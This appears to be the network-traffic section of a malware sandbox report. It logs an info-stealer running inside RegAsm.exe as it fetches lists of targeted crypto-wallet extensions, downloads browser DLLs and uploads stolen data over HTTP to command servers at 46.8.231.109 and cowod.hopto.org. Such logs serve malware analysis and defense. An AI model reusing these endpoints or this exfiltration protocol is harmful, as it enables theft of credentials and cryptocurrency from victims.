30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 30, 2024 12:22:49.718885899 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Sep 30, 2024 12:22:49.718897104 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Sep 30, 2024 12:22:49.718961954 CEST	224	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxH
Sep 30, 2024 12:22:49.718971968 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Sep 30, 2024 12:22:49.718982935 CEST	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Sep 30, 2024 12:22:49.718993902 CEST	448	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Sep 30, 2024 12:22:49.719439983 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 30, 2024 12:22:49.719480038 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Sep 30, 2024 12:22:49.758219957 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="message"fplugins------DAFIEHIEGDHIDGDGHDHJ--
Sep 30, 2024 12:22:49.938802004 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 30, 2024 12:22:50.479490995 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHJJJDAFBKEBGDGHCG Host: 46.8.231.109 Content-Length: 7811 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:50.479532957 CEST	7811	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 Data Ascii: ------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 30, 2024 12:22:50.768165112 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:50.771589994 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 12:22:50.949069023 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 30, 2024 12:22:51.877295971 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBF Host: 46.8.231.109 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:52.163800001 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:52.207089901 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDA Host: 46.8.231.109 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:52.532847881 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:52.557405949 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Sep 30, 2024 12:22:52.764542103 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:53.967945099 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJDBAKKKFBFHIDGIIEH Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="file"------IIJDBAKKKFBFHIDGIIEH--
Sep 30, 2024 12:22:54.169044971 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:54.441296101 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 12:22:54.618666887 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 30, 2024 12:22:55.289588928 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 12:22:55.469439030 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	52541	45.132.206.251	80	7376	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:22:49.324229956 CEST	183	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKJDGIJECFIEBFIDHC Host: cowod.hopto.org Content-Length: 5789 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:49.324271917 CEST	5789	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 Data Ascii: ------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------GDBKJDGIJECFIE
Sep 30, 2024 12:22:50.066210032 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 30 Sep 2024 10:22:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	52542	46.8.231.109	80	8148	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:22:55.484946966 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
